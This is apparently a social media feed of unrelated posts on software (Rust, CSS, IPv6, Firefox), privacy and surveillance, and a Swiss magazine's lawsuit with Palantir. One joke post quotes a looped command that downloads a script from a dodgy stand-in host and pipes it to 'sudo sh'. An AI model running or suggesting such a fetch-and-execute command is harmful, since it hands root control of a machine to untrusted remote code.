I have a new technique for reliably vibecoding apps:

First, you write your requirements in an unambiguous specification language. This is the prompt, but to disambiguate it from less precise prompts, we will call it the source of truth encoding, or source code for short. You then feed it to an agent that will create an of outputs by applying some heuristic-driven transforms that are likely (but not guaranteed) to improve performance. This agent compiles a load of information about how to transform the code into a single pipeline, so we’ll call it a ‘compiler’. This then feeds to the next agent that finds missing parts of the program and tries to fill them in with existing implementations. This is more efficient than simply generating new code and more reliable since the existing implementations are better tested. This agent has a knowledge base of existing code organised in grouping that I’ll refer to as ‘libraries’. It creates links in that web of knowledge between the outputs of the first agent and these existing ‘libraries’ and so we’ll call it a ‘linker’.

I think it might catch on. VCs: I think we can build this thing for only a couple of hundred million dollars! And the compute requirements are far lower than for existing agentic workflows, so we can sell it as a service and become profitable far sooner than other AI startups. Sign up now for our A round! We have a working proof of concept that can output the Linux kernel, LibreOffice, and many other large codebases from existing prompts!

The war waged by the tech authoritarian oligarchy against the media has reached a new level:

#Palantir is suing us. Us, the Republik Magazin.

A small Swiss media company, funded by readers, founded in 2018 and free of advertising. I am not aware of any other media company globally that Palantir is currently targeting so aggressively.

What is this about? Together with my wonderful colleagues at the WAV research collective Jenny Steiner, Lorenz Naegeli, Marguerite Meyer, and Balz Oertli, we published a two-part series on Palantir's activities in Switzerland on December 8 and 9.

Using an extensive corpus of documents – which we obtained thanks to the Freedom of Information Act – we were able to trace a sales campaign over a period of seven years. Palantir tried to get in with many federal authorities – and was rejected everywhere.

And we also found out that the Swiss Army Staff evaluated the products and came to the conclusion that the army should refrain from using Palantir products.

Among other risks, they feared that data would be passed on to the US authorities.

Palantir is not just any company. ICE uses its products to hunt down migrants in the US. The Israeli army IDF uses the software in its Gaza offensive. The British health authority NHS has made itself dependent on the products for data analysis during the pandemic. And CEO #AlexKarp displays inhuman and aggressive rhetoric towards Europe, while the company itself advertises the “optimization of the kill chain.”

These are all facts, repeatedly verified and published by renowned media outlets. Our research relating to Switzerland and Zurich is based on this.

In addition to analyzing documents, we also spoke to various sources – including Palantir executives here in Zurich. The quotes used were presented to them and approved. Of course, we always adhered to the high standards of journalistic work. We conducted a thorough fact check before publication.

But the company doesn't want us to write the truth.

After the US company owned by right-wing tech billionaire #PeterThiel dedicated an absurd blog post to us, claiming some misinformation (such as that they had not participated in official tenders with the federal administration, a point we never claimed. On the contrary: we spoke from the outset of attempts to establish contact, sales talks, informal meetings, business as usual), after the Global Director of Privacy & Civil Liberties (PCL) Engineering and contact person for Swiss media Courtney Bowman launched personal attacks against us in LinkedIn comments between Christmas and New Year (“partisan fear-mongering”), Palantir's Swiss lawyers demanded a counterstatement on December 29.

We rejected this demand in its entirety.

In January, they demanded the same thing again. We rejected it again.

And now we see each other in court.

But why all this?

Our research on the Swiss army report caused a huge international media response. The Guardian and the Austrian newspaper Der Standard reported on the Swiss army's rejection. Numerous financial portals and stock market magazines picked up our news (which could have consequences for the overvalued stock market company Palantir).

And Chaos Computer Club spokesperson Constanze Kurz presented our research to a huge audience at the renowned IT conference Chaos Communication Congress in Hamburg at the end of December.

All of this is making Palantir nervous.

We have now submitted a comprehensive defense brief. We can substantiate all of our findings with several documents and publicly available media reports.

We trust in the rule of law and freedom of the press in this country.

In keeping with yesterday's event “Zurich, little Big Tech City” at the Gessneralle, where we first announced this news exclusively to the audience on site:

World politics will soon be negotiated in Zurich: freedom of the press, the facts about ICE, Trump, Israel, Karp, tech authoritarianism.

The truth.

All this at the Zurich Commercial Court.

We will not be intimidated. And we will keep you informed.

The UK has announced plans to fast-track legislation requiring “age verification for VPN use”. The correct term, however, is not age verification but identity verification.

A law like this would require everyone to identify themselves in order to use a VPN. This would pose a risk to whistleblowers, violate human rights, and represent yet another step toward an authoritarian society.

After carefully reading and ranking a record number of 185 submissions from 148 speakers, we finally finished the talk selection for RustWeek 2026!

I'm *really* excited about the lineup! Check it out here: https://2026.rustweek.org/blog/2026-02-13-speakers-announced/

Don't forget to buy your ticket! See you in Utrecht!

Modern #CSS code snippets, side by side with the old hacks they replace.

https://modern-css.com/

"Stop writing CSS like it's 2015."

#webdev #frontend

So, you might have heard about > or ≥. But are you ready for...

≩ U+2269 GREATER-THAN BUT NOT EQUAL TO

⋛ U+22DB GREATER-THAN EQUAL TO OR LESS-THAN (just remember that ⋛ is not equal to ⋚)

⪌ U+2A8C GREATER-THAN ABOVE DOUBLE-LINE EQUAL ABOVE LESS-THAN (compare to ⪋, ⪒, and ⪑)

And of course, let's not forget the classic ⪔ U+2A94 GREATER-THAN ABOVE SLANTED EQUAL ABOVE LESS-THAN ABOVE SLANTED EQUAL (don't mix that one up with ⪓)

The #Rust support in the #Linux #kernel is now officially a first class citizen and not considered experimental any more:

https://git.kernel.org/torvalds/c/9fa7153c31a3e5fe578b83d23bc9f185fde115da; for more details, see also: https://lwn.net/Articles/1050174/

This is one of the highlights from the main #RustLang for #LinuxKernel 7.0 that was merged a few hours ago ; for others, see https://git.kernel.org/torvalds/c/a9aabb3b839aba094ed80861054993785c61462c

something I've been thinking about is how, when I teach a class, I tell the TAs to never, ever touch the keyboard when they're helping a student with an assignment. not even once! because as soon as someone else is driving, it becomes real easy for the student to stop thinking and just let things happen.

kind of like what happens when we use a coding assistant.

Fun fact: the canton of Basel-Landschaft uses a custom formula involving n*log(n) terms to define income tax, instead of fixed marginal tax rates per bracket. #taxes #math

As usual, the code is mirrored on Codeberg https://codeberg.org/gendx/fetch-ch-tax-rates and Gitlab https://gitlab.com/gendx/fetch-ch-tax-rates for redundancy as git is a #distributed protocol. #OpenSource

I just made a tool to extract missing #OpenData about the Swiss tax code. The Federal Tax Administration provides an online calculator, but the UI doesn't make it easy to export the raw tax rules. However it's all JSON under the hood.

My tool fetches the data (currently for years 2010 to 2025) + adds a schema: https://github.com/gendx/fetch-ch-tax-rates

#Switzerland #Taxes

@eXo_X5
[Translation of above post]
Homework: Try setting the #MTU to 1270 on any interface with an #IPv6 configuration under #linux!
You will witness how all IPv6 entries simply disappear.
IPv6 is not specified for an MTU below 1280.
One could know that – I didn’t.
It would be nice if wg-quick, when calculating an MTU below 1280, would either throw a meaningful error, or set 1280 as a minimum if IPv6 is configured.
Better occasional #fragmentation than no IPv6 at all.
5/6

AI Controls (formerly 'kill switch') are landing in today's Firefox Nightly, and will land with Firefox 148 later this month.

For the full details, see the Firefox blog https://blog.mozilla.org/en/firefox/ai-controls/

cyber security professional: make sure you use a strong password and hardware based authentication to stop unauthorised access

users: while true; wget dodgysite.tk/crimes.md | sudo sh; sleep 60; end

Les parlementaires ne parlent pas que de budget. Ils et elles échangent aussi sur leurs autres thèmes favoris : censure et surveillance. On revient sur la surchauffe actuelle du Parlement sur ces sujets avec une revue des textes du moment.
https://www.laquadrature.net/2026/01/30/censure-et-surveillance-surchauffe-au-parlement/

We knew this was coming, but now the clock is running. From Privacy International:

"Yesterday the Trump Administration announced a proposed change in policy for travellers to the U.S. It applies to the powers of data collection by the Customs and Border Police (CBP)."

"If the proposed changes are adopted after the 60-day consultation, then millions of travellers to the U.S. will be forced to use a U.S. government mobile phone app, submit their social media from the last five years and email addresses used in the last ten years, including of family members. They’re also proposing the collection of DNA."

PI linked to and summarized a Federal Register entry describing the proposed requirements:

-All visitors must submit ‘their social media from the last 5 years’

-ESTA (Electronic System for Travel Authorization) applications will include ‘high value data fields’, ‘when feasible’
‘telephone numbers used in the last five years’
-‘email addresses used in the last ten years’
-‘family number telephone numbers (sic) used in the last five years’
-biometrics – face, fingerprint, DNA, and iris
-business telephone numbers used in the last five years
-business email addresses used in the last ten years.

https://www.privacyinternational.org/news-analysis/5713/trump-administration-wants-your-dna-and-social-media

The Federal Register entry says comments are encouraged and
must be submitted (no later than February 9, 2026) to be assured of consideration.

Federal Register entry: https://www.govinfo.gov/content/pkg/FR-2025-12-10/pdf/2025-22461.pdf

RE: https://piaille.fr/@davidchavalarias/115971938005446299

🧑‍⚖️ Incredible testimony by Judge Nicolas Guillou about the weaponization of US sanctions against him & 10 other magistrates.

👉 Cancelled hotel booking, even in France.
👉 Packages not delivered because French site used UPS.
👉 No bank card because Visa/Mastercard dominance.

For years, we've worried mostly about confidentiality of our data, but availability is being increasingly challenged with unhinged sanctions by the US that can one day affect us all for standing for our principes

Cloudflare just published a vibe coded blog post claiming they implemented Matrix on cloudflare workers. They didn't, their post and README is AI generated and the code doesn't do any of the core parts of matrix that make it secure and interoperable. Instead it's littered with 'TODO: Check authorisation' and similar

https://blog.cloudflare.com/serverless-matrix-homeserver-workers/

"We estimate that the Metaverse could generate $4 trillion to $5 trillion in value by 2030."

Happy three year anniversary to McKinsey's "A CEO's Guide To The Metaverse".

https://www.mckinsey.com/capabilities/growth-marketing-and-sales/our-insights/a-ceos-guide-to-the-metaverse